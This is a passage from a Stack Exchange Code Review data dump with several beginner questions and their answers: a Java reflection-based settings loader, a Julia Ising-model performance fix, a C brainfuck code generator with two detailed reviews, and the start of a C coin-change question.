a private function like <code>void checkInvariant() { ... }</code> that makes things like <code>assert(balance > 0)</code> (but be careful when comparing floating point values to constant values; it should be done with a threshold). Then, you can add this check to suitable functions and the invariant is nicely enforced by the class itself.</p></li>\n<li><p>The above can help you catch errors like in <code>withdraw</code>: is it acceptable that the amount becomes negative here?</p></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T11:30:54.600",
"Id": "217433",
"ParentId": "217415",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T22:00:56.000",
"Id": "217415",
"Score": "6",
"Tags": [
"c++",
"beginner",
"object-oriented",
"error-handling",
"vectors"
],
"Title": "Simulation of a banking system with an Account class in C++"
} | 217415 |
<p>I have a <code>settings.txt</code> file with the following format:</p>
<pre><code>property=value
another_property=value
category.sub_category.property_name=value
</code></pre>
<p>And a <code>Settings</code> class that reads the properties out of this file and uses reflection to assign values to the corresponding fields within the class and it's subclasses:</p>
<pre><code>public final class Settings {
private Settings(){}
public static void loadSettingsFile(){
String dir = System.getProperty("user.dir") + "/settings.txt";
try {
List<String> lines = Files.readAllLines(Paths.get(dir));
for(String str : lines){
String[] property = str.split("=");
if(property.length == 2)
setProperty(property[0], property[1]);
}
} catch (Exception e) {
System.out.println("Settings file not found");
}
}
public static void setProperty(String name, String value){
try {
@SuppressWarnings("rawtypes")
Class target = Settings.class;
int lastDot = name.lastIndexOf('.');
if(lastDot != -1){
String classPath = Settings.class.getPackage().getName();
classPath += ".Settings$" + name.substring(0, lastDot).replace('.', '$');
target = Class.forName(classPath);
name = name.substring(lastDot + 1);
}
Field property = target.getField(name);
switch (property.getType().getName()) {
case "boolean":
property.setBoolean(null, value.equals("true"));
break;
case "int":
property.setInt(null, Integer.parseInt(value));
break;
case "double":
property.setDouble(null, Double.parseDouble(value));
break;
case "java.lang.String":
property.set(null, value);
break;
case "[Ljava.lang.String;":
property.set(null, value.split(","));
break;
case "[I":
String[] values = value.split(",");
int[] ints = new int[values.length];
for(int i = 0; i < ints.length; i++)
ints[i] = Integer.parseInt(values[i]);
property.set(null, ints);
break;
default:
System.out.println("Could not set property '" + name + "' - unsupported field type: " + property.getType().getName());
return;
}
} catch (NoSuchFieldException | ClassNotFoundException e) {
System.out.println("Can't find or access property: " + name);
} catch (IllegalAccessException | SecurityException e) {
System.out.println("Can't set property '" + name + "' to " + value);
e.printStackTrace();
} catch (Exception e) {
System.out.println("Can't set property '" + name + "' to " + value);
}
}
/*------------------------------
settings fields start here
------------------------------*/
public static String mode = "training AI";
public static class map{
private map(){}
public static int width = 35;
public static int height = 30;
public static int random_walls = 10;
}
public static class training{
private training(){}
public static String algorithm = "genetic";
public static String[] ann_files = null;
public static boolean override_ann_file_settings = false;
public static String sensory_input = "basic";
public static int smell_precision = 1;
public static boolean interfering_outputs = false;
// more settings...
}
// more subclasses containing settings...
}
</code></pre>
<p>I find it convenient to be able to access these settings OOP style from anywhere in my program, I prefer it over a <code>Settings.get(String name)</code> solution because that way the IDE shows me what settings there are so I don't have to remember all their names.</p>
<p>Are there any disadvantages to this solution?</p>
<p>Also I'm not sure about the naming convention, should I make the <code>setProperty(...)</code> method convert property names to match normal Java naming convention or is it ok as it is now?</p>
<pre><code>category.sub_category.property_name
convert name to:
Settings.Category.SubCategory.propertyName
</code></pre>
| [] | [
{
"body": "<p>You should always use curly braces even if your loop/if statement contains 1 line.</p>\n\n<p>You're catching all Exceptions and assuming it's due to the file not being found. You should be catching <code>FileNotfoundException</code> instead. Alternatively you could check if the File is found or not.</p>\n\n<p>What if the property format is invalid? E.G 2 '=' signs or 0. Currently you wouldn't throw or log any error and silently ignore it. I'd suggest at least LOGGING something </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T08:38:14.793",
"Id": "217427",
"ParentId": "217419",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "217427",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T00:35:35.200",
"Id": "217419",
"Score": "3",
"Tags": [
"java",
"parsing",
"serialization",
"reflection",
"configuration"
],
"Title": "Settings class implementation"
} | 217419 |
<p>I'm just starting to learn Julia, I work primarily in physics and am used to writing most of my code in Fortran90 and occasionally Python for Tensorflow (also Mathematica but that's less relevant). Julia has been recommended to me and I started checking it out; I like it a lot <em>in theory</em> as a middle ground between the speed of Fortran and the syntax of Python. To test it out I wrote a simple 2D Ising model code implementing a basic single-spin-flip Metropolis Monte Carlo algorithm. However, this code runs very slowly compared to an equivalent code in Fortran. Am I doing something wrong which is significantly affecting the performance of the code? I know almost nothing beyond what I've done here. I am using the Juno IDE in Atom on Windows 10. As an aside, I would also like to know how I can make multiple plots in the Atom plot tab, but that's secondary.</p>
<pre><code>using Printf
using Plots
L = 20 # linear size of lattice
n_sweep = 20 # number of sweeps between sampling
n_therm = 1000 # number of sweeps to thermalize
n_data = 100 # number of data samples per temperature
temps = 4.0:-0.3:0.1 # temperatures to sample
e1 = Array(1:n_data) # array to hold energy measurements (fixed T)
m1 = Array(1:n_data) # array to hold magnetization measurements (fixed T)
et = [] # array to append average energy at each T
mt = [] # " magnetizations
s = ones(Int32,L,L) # lattice of Ising spins (+/-1)
function measure(i) # measure i'th sample of energy and magnetization
en = 0
m = 0
for x = 1:L
for y = 1:L
u = 1+mod(y,L) # up
r = 1+mod(x,L) # right
en -= s[x,y]*(s[x,u]+s[r,y]) # energy
m += s[x,y] # magnetization
end
end
energy[i] = en
magnetization[i] = abs(m)
end
function flip(x,y,T) # apply metropolis spin flip algorithm to site (x,y) w/ temp T
u = 1+mod(y,L) # up
d = 1+mod(y-2,L) # down
r = 1+mod(x,L) # right
l = 1+mod(x-2,L) # left
de = 2*s[x,y]*(s[x,u]+s[x,d]+s[l,y]+s[r,y])
if (de < 0)
s[x,y] = -s[x,y]
else
p = rand()
if (p < exp(-de/T))
s[x,y] = -s[x,y]
end
end
end
function sweep(n,T) # apply flip() to every site on the lattice
for i = 1:n
for x = 1:L
for y = 1:L
flip(x,y,T)
end
end
end
end
for T in temps # loop over temperatures
sweep(n_therm, T) # thermalize the lattice
energy = e1 # reset energy measurement array
magnetization = m1 # same
for i = 1:n_data # take n_data measurements w/ n_sweep
sweep(n_sweep, T)
measure(i)
end
en_ave = sum(energy)/n_data # compute average
ma_ave = sum(magnetization)/n_data
push!(et,en_ave/(L*L)) # add to the list
push!(mt,ma_ave/(L*L))
@printf("%8.3f %8.3f \n", en_ave/(L*L), ma_ave/(L*L))
end
plot(temps,mt) # plot magnetization vs. temperature
#plot(temps,et)
</code></pre>
| [] | [
{
"body": "<p>The biggest problem with this code is the amount of things in global scope. Rewriting it to make some things <code>const</code>, and passing in the rest from a main function brings the time down to .7 seconds (not including the <code>using plots</code> which takes 3.5 seconds, compared to ~10 seconds before. Here is the updated code, I hope it helps.</p>\n\n<pre><code>using Printf\nusing Plots\n\nconst L = 20 # linear size of lattice\nconst n_sweep = 20 # number of sweeps between sampling\nconst n_therm = 1000 # number of sweeps to thermalize\nconst n_data = 100 # number of data samples per temperature\nconst temps = 4.0:-0.3:0.1 # temperatures to sample\n\nfunction measure(i, energy, magnetization, s) # measure i'th sample of energy and magnetization\n en = 0\n m = 0\n for x = 1:L\n for y = 1:L\n u = 1+mod(y,L) # up\n r = 1+mod(x,L) # right\n en -= s[x,y]*(s[x,u]+s[r,y]) # energy\n m += s[x,y] # magnetization\n end\n end\n energy[i] = en\n magnetization[i] = abs(m)\nend\n\nfunction flip(x, y, T, s) # apply metropolis spin flip algorithm to site (x,y) w/ temp T\n u = 1+mod(y,L) # up\n d = 1+mod(y-2,L) # down\n r = 1+mod(x,L) # right\n l = 1+mod(x-2,L) # left\n de = 2*s[x,y]*(s[x,u]+s[x,d]+s[l,y]+s[r,y])\n if (de < 0)\n s[x,y] = -s[x,y]\n else\n p = rand()\n if (p < exp(-de/T))\n s[x,y] = -s[x,y]\n end\n end\nend\n\nfunction sweep(n, T, s) # apply flip() to every site on the lattice\n for i = 1:n\n for x = 1:L\n for y = 1:L\n flip(x,y,T, s)\n end\n end\n end\nend\n\nfunction main()\n e1 = Array(1:n_data) # array to hold energy measurements (fixed T)\n m1 = Array(1:n_data) # array to hold magnetization measurements (fixed T)\n et = [] # array to append average energy at each T\n mt = [] # \" magnetizations\n s = ones(Int32,L,L) # lattice of Ising spins (+/-1)\n for T in temps # loop over temperatures\n sweep(n_therm, T, s) # thermalize the lattice\n energy = e1 # reset energy measurement array\n magnetization = m1 # same\n for i = 1:n_data # take n_data measurements w/ n_sweep \n sweep(n_sweep, T, s) \n measure(i, energy, magnetization, s)\n end\n en_ave = sum(energy)/n_data # compute average\n ma_ave = sum(magnetization)/n_data\n push!(et,en_ave/(L*L)) # add to the list\n push!(mt,ma_ave/(L*L))\n @printf(\"%8.3f %8.3f \\n\", en_ave/(L*L), ma_ave/(L*L))\n end\n plot(temps,mt) # plot magnetization vs. temperature\n #plot(temps,et)\nend\n\nmain()\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T01:19:38.607",
"Id": "420847",
"Score": "0",
"body": "Hi, thanks for the reply, this is very helpful and did improve the performance quite a bit, but it still is running at least an order of magnitude slower than an equivalent code in Fortran (increasing the runtime with `L=40`, `n_sweep = 200`, and `n_data = 1000`). Is there some other area in which the code can be improved significantly?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T03:38:48.927",
"Id": "420852",
"Score": "0",
"body": "Almost all of the time in this function is in `if (p < exp(-de/T))`, so I'm not really sure if much further improvement exists."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T04:06:49.863",
"Id": "420858",
"Score": "0",
"body": "Does the order of loops in `sweep` matter? making `i` be the inner loop makes it ~20% faster."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T04:41:37.887",
"Id": "420863",
"Score": "0",
"body": "Hmm I will play around with it. The order of `sweep` certainly matters, but I'm sure there must be some way to improve this further. I will keep reading about Julia. Perhaps pre-caching the random numbers could improve performance? Thanks for your help so far."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T14:29:19.487",
"Id": "420933",
"Score": "1",
"body": "You might find it faster to generate from a log distribution and remove the `exp` call. Not sure if that will be better, but worth trying."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-11-14T17:19:49.580",
"Id": "496594",
"Score": "0",
"body": "Julia 1.6 should be much faster here. `rand` and `exp` have both gotten some pretty big speed boosts. @Kai"
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T19:19:33.877",
"Id": "217456",
"ParentId": "217421",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T01:35:24.693",
"Id": "217421",
"Score": "6",
"Tags": [
"performance",
"beginner",
"julia"
],
"Title": "Optimizing my 2D Ising model code in Julia"
} | 217421 |
<p>I created program that generates brainfuck code that outputs given text.
Arguments for the program are <code>input file</code> with the text and <code>output file</code> where code will be generated to.
Here is the code:</p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define ALLOCATION_ERROR 1
#define FILE_ERROR 2
#define OTHER_ERROR 3
static inline FILE*
get_file_pointer(const char* filename,const char* mode){
FILE* file_pointer=fopen(filename,mode);
if(file_pointer==NULL){
fprintf(stderr,"Error: failed to open file %s\n",filename);
exit(FILE_ERROR);
}
return file_pointer;
}
static inline char*
int_to_brainfuck(int difference){
if(difference==0)
return ".";
else{
char character_in_loop=difference>0?'+':'-';
difference=difference>0?difference:-difference;
const unsigned int loop_body_length=17;
const unsigned int number_of_ones=(unsigned int)(difference%10);
const unsigned int number_of_tens=(unsigned int)(difference/10);
char* brainfuck_code=calloc(number_of_tens+loop_body_length+number_of_ones+2,sizeof*brainfuck_code);
if(number_of_tens>0){
brainfuck_code[strlen(brainfuck_code)]='>';
memset(brainfuck_code+strlen(brainfuck_code),'+',number_of_tens);
strcat(brainfuck_code+strlen(brainfuck_code),"[<");
memset(brainfuck_code+strlen(brainfuck_code),character_in_loop,10);
strcat(brainfuck_code+strlen(brainfuck_code),">-]<");
}
memset(brainfuck_code+strlen(brainfuck_code),character_in_loop,number_of_ones);
brainfuck_code[strlen(brainfuck_code)]='.';
return brainfuck_code;
}
}
static inline void
generate_code(FILE* input_file,FILE* output_file){
int current_char,last_char=0;
while((current_char=fgetc(input_file))!=EOF){
char* brainfuck_code=int_to_brainfuck(current_char-last_char);
fputs(brainfuck_code,output_file);
if(brainfuck_code[0]!='.')
free(brainfuck_code);
last_char=current_char;
}
}
static inline void
parse_args(int argc){
if(argc!=3){
puts("Usage: bfgen <input> <output>");
exit(OTHER_ERROR);
}
}
int
main(int argc,char** argv){
parse_args(argc);
FILE* input_file=get_file_pointer(argv[1],"r");
FILE* output_file=get_file_pointer(argv[2],"wb");
generate_code(input_file,output_file);
fclose(input_file);
fclose(output_file);
return 0;
}
</code></pre>
| [] | [
{
"body": "<p>I opened your code in CLion. The first thing it marked was:</p>\n\n<pre><code>#define ALLOCATION_ERROR 1\n</code></pre>\n\n<p>It's unused.</p>\n\n<p>Other than that, there were no warnings, which is already quite good.</p>\n\n<p>Next I compiled your code using both GCC and CLang:</p>\n\n<pre><code>$ gcc -Wall -Wextra -Os -c bfgen.c\n$ clang -Wall -Weverything -Os -c bfgen.c\nbfgen.c:5:9: warning: macro is not used [-Wunused-macros]\n#define ALLOCATION_ERROR 1\n ^\n1 warning generated.\n</code></pre>\n\n<p>That's also good. You prepared your code quite well for this code review by fixing the compiler warnings (if there had been any).</p>\n\n<p>Now to the human part of the code review.</p>\n\n<p>I would remove the <code>inline</code> from the function definitions. Trust the compiler to do the right thing here.</p>\n\n<p>The word <code>get</code> in the function name <code>get_file_pointer</code> makes it sound as if this function had no side effects. This assumption is wrong. The function should have a better name. It is typical for these error-checking wrapper functions to be prefixed with <code>x</code>. You will find many implementations of <code>xmalloc</code>, <code>xrealloc</code>, <code>xopen</code>, and so on in other projects.</p>\n\n<p>In the <code>get_file_pointer</code> function, you should include the kind of error in the <code>fprintf</code> output:</p>\n\n<pre><code>fprintf(stderr, \"Error: failed to open file '%s': %s\\n\", filename, strerror(errno));\n</code></pre>\n\n<p>The function <code>int_to_brainfuck</code> has a bad name. It's clear from the function signature that it takes an int, therefore the function name should rather describe what that int means. It's a difference, but there is no documentation about what differs. After reading the whole code of the function I know that it's the difference between the previous character and the next character. This information should be encoded in the function name.</p>\n\n<p>Calling <code>strlen</code> repeatedly is a waste of time. At each point in the code you know exactly how long the string is, therefore it is more efficient to just store the current end of the <code>brainfuck_code</code> in a pointer and always <code>strcpy</code> to that pointer:</p>\n\n<pre><code>size_t code_len = number_of_tens + loop_body_length + number_of_ones + 2;\nchar *brainfuck_code = calloc(code_len, sizeof *brainfuck_code);\nchar *code = brainfuck_code;\n\nif (number_of_tens > 0) {\n *code++ = '>';\n memset(code, '+', number_of_tens);\n code += number_of_tens;\n strcpy(code, \"[<\");\n code += 3;\n memset(code, character_in_loop, 10);\n code += 10;\n strcpy(code, \">-]<\");\n code += 4;\n}\n\nmemset(code, character_in_loop, number_of_ones);\ncode += number_of_ones;\n*code++ = '.';\n\nassert(brainfuck_code + code_len == code);\n\nreturn brainfuck_code;\n</code></pre>\n\n<p>I added the <code>assert</code> at the end because these explicit length calculations can always go wrong. If the compiler is smart enough, it will find out that this assertion always succeeds and may even eliminate it. And in case you forgot a character to change the code later, you will quickly get a crash dump instead of undefined behavior because of a buffer overflow.</p>\n\n<p>I suspected you had already calculated the length wrong because I couldn't find the first character in the formula. Instead, there's a magic number 2 in that formula. You should make the formula correspond to the actual code by writing it like this:</p>\n\n<pre><code>size_t code_len = 1 + number_of_tens + 3 + 10 + 4 number_of_ones + 1;\n</code></pre>\n\n<p>This allows you to quickly compare it to the code.</p>\n\n<p>Even better would be if you would not need this whole calculation at all. Since you are writing the output to a file anyway, you don't need to allocate the memory yourself. I'm thinking of two functions like these:</p>\n\n<pre><code>typedef struct {\n FILE *out;\n} bfgen;\n\nstatic void bfgen_emit_str(bfgen *gen, const char *code) {\n ...\n}\n\nstatic void bfgen_emit_repeat(bfgen *gen, char code, size_t n) {\n ...\n}\n</code></pre>\n\n<p>Then you can simply write:</p>\n\n<pre><code>static void\nbfgen_emit_difference(bfgen *gen, int difference) {\n if (difference == 0) {\n bfgen_emit_str(\".\");\n return;\n }\n\n char character_in_loop = difference > 0 ? '+' : '-';\n unsigned int abs_diff = difference > 0 ? difference : -difference;\n unsigned int number_of_tens = abs_diff / 10;\n\n if (number_of_tens > 0) {\n bfgen_emit_str(gen, \">\");\n bfgen_emit_repeat(gen, '+', number_of_tens);\n bfgen_emit_str(gen, \"[<\");\n bfgen_emit_repeat(gen, character_in_loop, 10);\n bfgen_emit_str(gen, \">-]<\");\n }\n\n bfgen_emit_repeat(gen, character_in_loop, abs_diff % 10);\n bfgen_emit_str(gen, \".\");\n}\n</code></pre>\n\n<p>This code looks much clearer. Now that you don't have to think about all this annoying buffer size calculation anymore, it becomes much easier to add new optimizations, such as avoiding the loop when <code>number_of_tens</code> is exactly 1. In the previous version of the code I wouldn't have added this feature out of laziness and fear of breaking things.</p>\n\n<p>Based on this example, you can see that the functions <code>bfgen_emit_str</code> and <code>bfgen_emit_repeat</code> are really useful, and implementing them is easy.</p>\n\n<pre><code>static void bfgen_emit_str(bfgen *gen, const char *code) {\n fputs(code, gen->out);\n}\n\nstatic void bfgen_emit_repeat(bfgen *gen, char code, size_t n) {\n for (size_t i = 0; i < n; i++) {\n fputc(code, gen->out);\n }\n}\n</code></pre>\n\n<p>Looking at <code>bfgen_emit_difference</code> again, that function doesn't do what its name says. It doesn't only emit code to calculate the difference, it also emits code to print the resulting character. It shouldn't do that. The call to <code>bfgen_emit_str(gen, \".\")</code> belongs in <code>bfgen_generate_code</code> instead.</p>\n\n<hr>\n\n<p>It doesn't matter anymore, but your original version of <code>int_to_brainfuck</code> was essentially:</p>\n\n<pre><code>static char *\nint_to_brainfuck(...) {\n if (condition) {\n return \".\";\n } else {\n return allocated_string;\n }\n}\n</code></pre>\n\n<p>You must never write such a function since the caller cannot know whether they should <code>free</code> the string or not. This leads either to memory leaks or to undefined behavior. You don't want either of these.</p>\n\n<hr>\n\n<p>In the <code>main</code> function, you should open the input file in binary mode and the output file in text mode. Currently it's the other way round.</p>\n\n<hr>\n\n<p>The main takeaway from this code review is that it makes sense to define your own data structures and the corresponding functions. Make these functions as easy as possible to use. Free the caller from any unnecessary tasks such as calculating buffer sizes or managing memory, which are really boring and error-prone.</p>\n\n<p>An idea for further work is to make the generated code more efficient by keeping track of the actual memory contents. This can now be easily done in the <code>struct bfgen</code>. Then you can look which memory cell has currently the closest value and use that instead of just using a single memory cell.</p>\n\n<p>The rewritten and restructured code is:</p>\n\n<pre><code>#include <errno.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define FILE_ERROR 2\n#define OTHER_ERROR 3\n\nstatic FILE *\nxfopen(const char *filename, const char *mode) {\n FILE *file_pointer = fopen(filename, mode);\n if (file_pointer == NULL) {\n fprintf(stderr, \"Error: failed to open file '%s': %s\\n\",\n filename, strerror(errno));\n exit(FILE_ERROR);\n }\n return file_pointer;\n}\n\ntypedef struct {\n FILE *out;\n} bfgen;\n\nstatic void\nbfgen_emit_str(bfgen *gen, const char *code) {\n fputs(code, gen->out);\n}\n\nstatic void\nbfgen_emit_repeat(bfgen *gen, char code, size_t n) {\n for (size_t i = 0; i < n; i++) {\n fputc(code, gen->out);\n }\n}\n\nstatic void\nbfgen_emit_difference(bfgen *gen, int difference) {\n if (difference == 0) {\n return;\n }\n\n char character_in_loop = difference > 0 ? '+' : '-';\n unsigned int abs_diff = difference > 0 ? difference : -difference;\n unsigned int number_of_tens = abs_diff / 10;\n\n if (number_of_tens > 0) {\n bfgen_emit_str(gen, \">\");\n bfgen_emit_repeat(gen, '+', number_of_tens);\n bfgen_emit_str(gen, \"[<\");\n bfgen_emit_repeat(gen, character_in_loop, 10);\n bfgen_emit_str(gen, \">-]<\");\n }\n\n bfgen_emit_repeat(gen, character_in_loop, abs_diff % 10);\n}\n\nstatic void\nbfgen_generate_code(bfgen *gen, FILE *input_file) {\n int current_char, last_char = 0;\n while ((current_char = fgetc(input_file)) != EOF) {\n bfgen_emit_difference(gen, current_char - last_char);\n bfgen_emit_str(gen, \".\\n\");\n last_char = current_char;\n }\n}\n\nstatic void\nparse_args(int argc) {\n if (argc != 3) {\n puts(\"Usage: bfgen <input> <output>\");\n exit(OTHER_ERROR);\n }\n}\n\nint\nmain(int argc, char **argv) {\n parse_args(argc);\n FILE *input_file = xfopen(argv[1], \"rb\");\n FILE *output_file = xfopen(argv[2], \"w\");\n bfgen gen = {output_file};\n bfgen_generate_code(&gen, input_file);\n fclose(output_file);\n fclose(input_file);\n return 0;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T12:30:43.383",
"Id": "420650",
"Score": "1",
"body": "I added edited code to my post."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T13:39:16.917",
"Id": "420662",
"Score": "0",
"body": "@DeBos99 `inline` is indeed not required: since the program is a single file (or more generally, all function declarations are visible to the compiler) it will willingly inline them. `inline` could be used to express intent - saying \"this function is speed critical, so it needs to be inlined\" - but the compiler will inline (or not inline it) regardless. The only real way to force inlining is using a function attribute, `__always_inline__` or similar."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T15:26:19.340",
"Id": "420674",
"Score": "0",
"body": "@DeBos99 good catch with `xfopen`, I've fixed the function name."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T16:04:19.577",
"Id": "420678",
"Score": "0",
"body": "@valiano you are saying that `inline` is not required, but program runs faster with it, so I think that it should be there."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T21:35:30.787",
"Id": "420713",
"Score": "0",
"body": "@DeBos99 That's interesting. I'm not able to reproduce such a result with gcc. Which compiler are you using? What compiler flags?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T21:37:16.413",
"Id": "420714",
"Score": "0",
"body": "I'm using `gcc (GCC) 8.2.1 20181127` and these flags: `-std=c99 -O3 -s -pipe -Werror -Wall -Wextra -Wundef -Wshadow -Wconversion -Wunreachable-code -Wfloat-equal -Winit-self -Wformat=2`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T21:46:06.867",
"Id": "420715",
"Score": "0",
"body": "@DeBos99 Weird - using GCC 8.2 and same compiler flags, I'm gettting the exact same assembly with and without `inline`. See on Godbolt: https://godbolt.org/z/dzWm4m"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T21:58:14.157",
"Id": "420718",
"Score": "0",
"body": "Maybe its coincidence. I was testing this on same input (~5 times each option) and difference was about 20-40ms. When I was writing BF interpreter, adding `inline` changed program execution speed from ~12s to about 6s."
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T05:31:22.420",
"Id": "217423",
"ParentId": "217422",
"Score": "4"
}
},
{
"body": "<p>After the first great review by Roland Illig, I could add a few comments on the second code revision, in order of appearance:</p>\n\n<ul>\n<li><p><code>#include <string.h></code> - not required now, and could be removed.</p></li>\n<li><p><code>define ALLOCATION_ERROR 1</code>:<br>\nRather than preprocessor macros, consider using a named enum. With an enum, you get better diagnostics and type checking from the compiler, plus the error codes are grouped into one named construct:</p>\n\n<pre><code>enum ERROR_CODES\n{\n ALLOCATION_ERROR = 1,\n FILE_ERROR = 2,\n OTHER_ERROR = 3\n};\n</code></pre>\n\n<p>As a bonus, you get rid of the unused macro warning.</p></li>\n<li><p>It's best to avoid single-line if and for blocks, which could cause subtle and hard to find bugs. I.e.:</p>\n\n<pre><code>for(int i=0;i<n;++i)\n fputc(c,output_file);\n</code></pre>\n\n<p>is better written as:</p>\n\n<pre><code>for(int i=0;i<n;++i)\n{\n fputc(c,output_file);\n}\n</code></pre></li>\n<li><p>You could early exit the <code>emit_difference</code> function after the <code>if(difference==0)</code> check. Then, you could reduce the indentation level of the code that follows. This technique comes very handy when you have to check for several conditions before doing the actual work. I.e.,</p>\n\n<pre><code>if(difference==0)\n fputc('.',output_file);\nelse{\n // ...\n}\n</code></pre>\n\n<p>May turn into:</p>\n\n<pre><code>if(difference==0)\n{\n fputc('.',output_file);\n return;\n}\n\n// Code of the else block\n</code></pre></li>\n<li><p>Style comment: consider adding newlines between your functions, to create a clear separation between them.</p></li>\n<li><p><code>inline</code>: I second Ronald in that the inline keyword may be safely removed. Since the program is a single file (and more generally, all function declarations are visible to the compiler), it will willingly inline them.</p></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T15:16:42.140",
"Id": "420673",
"Score": "0",
"body": "Always use blocks instead of single statements is oft-disputed advice, though I won't restart that style-war here."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T16:09:16.483",
"Id": "420680",
"Score": "0",
"body": "Thanks for review @valiano. I think that using macros for errors is sometimes better e.g. Roland got this warning about unused macro, so I could remove it. Should I add `return;` at the end of `else` block or only in `if`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T17:09:42.867",
"Id": "420691",
"Score": "0",
"body": "@DeBos99 no need for a `return` at the end of the `else` block, since the function is to return anyway right afterwards."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T14:16:04.620",
"Id": "217438",
"ParentId": "217422",
"Score": "0"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T02:05:06.907",
"Id": "217422",
"Score": "7",
"Tags": [
"c",
"brainfuck",
"compiler"
],
"Title": "Program that generates brainfuck code that outputs given text"
} | 217422 |
<p>I wrote a program that calculates the minimum number of coins required to give a user change.</p>
<p>One concern I have is: When do we initialize the value of a float to be negative or positive? I recently saw </p>
<blockquote>
<pre><code>float userInput = -1.0;
</code></pre>
</blockquote>
<p>but what about </p>
<blockquote>
<pre><code>float userInput = 1.0;
</code></pre>
</blockquote>
<p>Are there differences between the two, and when would one be used over the other?</p>
<pre><code>#include <stdio.h>
#include <cs50.h>
#include <math.h>
int main(void)
{
float input = -1;
int z = 0;
int counter = 0;
do
{
printf("The amount of changed owed(in dollars) is ");
input = get_float();
}
while (input < 0);
input = input * 100;
input = round(input);
z = input;
while (z >= 25)
{
z = z - 25;
counter++;
}
while (z >= 10)
{
z = z - 10;
counter++;
}
while (z >= 5)
{
z = z - 5;
counter++;
}
while (z >= 1)
{
z = z-1;
counter++;
}
printf("The number of minimum coins needed is %d\n", counter);
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T06:17:59.683",
"Id": "420626",
"Score": "1",
"body": "The only missing thing is the `#include` lines at the top of the file. These are part of \"the complete code\". According to this site's guidelines, the question title should describe what your code is supposed to do, therefore \"Calculating the number of coins in money change\" is preferred."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T06:20:51.663",
"Id": "420627",
"Score": "2",
"body": "Oh I see, thank you! Is it okay now?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T06:20:57.720",
"Id": "420628",
"Score": "1",
"body": "Thanks for all the edits. The `cs50.h` header already provides an important clue. :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T06:24:19.313",
"Id": "420629",
"Score": "0",
"body": "No problem haha, thank you for letting me know :) Yes, I'm a newbie, sorry if my questions aren't worded the best way =p"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T06:31:51.900",
"Id": "420630",
"Score": "0",
"body": "No worries. It's almost impossible to get your first question perfect on the first try. As it is now, it's in the perfect state to be answered: It contains a compilable self-contained piece of code that can be generally reviewed, and a little bonus question on top of that."
}
] | [
{
"body": "<blockquote>\n <p>When do we initialize the value of a float to be negative or positive?</p>\n</blockquote>\n\n<p>That's entirely use case dependent!</p>\n\n<p>In your <em>concrete</em> example, initialisation is entirely irrelevant, as you overwrite the initialisation value anyway!</p>\n\n<pre><code>float input;\n{\n input = get_float();\n}\n</code></pre>\n\n<p>Still initialising the variable might, though, prevent undefined behaviour if you later modify the code in a way the (re-)assignment might get skipped under some circumstances (you might forget to add the <em>then</em> necessary initialisation during modification...).</p>\n\n<p>Back to the use cases: Even with same exponent and magnitude (i. e. with same absolute value) positive and negative are totally different values, consider <code>pow(7.0, 10.12)</code> and <code>pow(7.0, -10.12)</code> (whatever the values would mean) yielding totally different results (positive both times!), or consider results of sine and cosine.</p>\n\n<p>Perhaps a bit more concrete: negative values in a banking application might mean you have some debts (although for such a scenario, I'd prefer integers with fixed point semantics, where number 1 would mean e. g. 1/100 or 1/1000 of a cent, whichever precision you might need).</p>\n\n<p>If sign of numbers is irrelevant, prefer (well, there's no unsigned float/double...) positive ones, most people would consider them more natural – or would you prefer negative speed limit signs, meaning don't drive slower (i. e. smaller value -> higher absolute value) backwards?</p>\n",
